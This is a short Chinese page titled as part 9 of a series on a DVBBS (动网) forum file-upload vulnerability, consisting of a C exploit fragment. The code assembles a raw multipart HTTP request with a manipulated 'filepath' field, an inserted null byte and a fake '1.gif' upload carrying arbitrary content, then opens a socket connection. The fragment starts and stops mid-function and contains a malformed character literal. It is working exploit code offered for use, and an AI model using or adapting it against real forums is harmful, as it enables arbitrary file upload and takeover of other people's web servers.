动网论坛上传文件漏洞

动网论坛上传文件漏洞(9) "Host: %s\r\n" 
"Content-Length: %d\r\n" 
"Connection: Keep-Alive\r\n" 
"Cache-Control: no-cache\r\n" 
"Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n" 
"-----------------------------7d4a325500d2\r\n" 
"Content-Disposition: form-data; name=\"filepath\"\r\n\r\n" 
"%s\\%s", 
bbspath, 
host, 
realsndsize, 
uppath, 
upfilename); 

sendsize = strlen((char *)sendbuf); 
sendbuf[sendsize] = \0; 

sprintf(snddata, 
"\r\n" 
"-----------------------------7d4a325500d2\r\n" 
"Content-Disposition: form-data; name=\"act\"\r\n\r\n" 
"upload\r\n" 
"-----------------------------7d4a325500d2\r\n" 
"Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n" 
"Content-Type: text/plain\r\n\r\n" 
"%s\r\n" 
"-----------------------------7d4a325500d2\r\n" 
"Content-Disposition: form-data; name=\"fname\"\r\n\r\n" 
"C:\\1.gif\r\n" 
"-----------------------------7d4a325500d2\r\n" 
"Content-Disposition: form-data; name=\"Submit\"\r\n\r\n" 
"上传\r\n" 
"-----------------------------7d4a325500d2--\r\n\r\n", 
upfiledata); 

strcat((char *)&sendbuf[sendsize+1], snddata); 

sendsize += strlen(snddata); 
sendsize += 1; 

if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin)))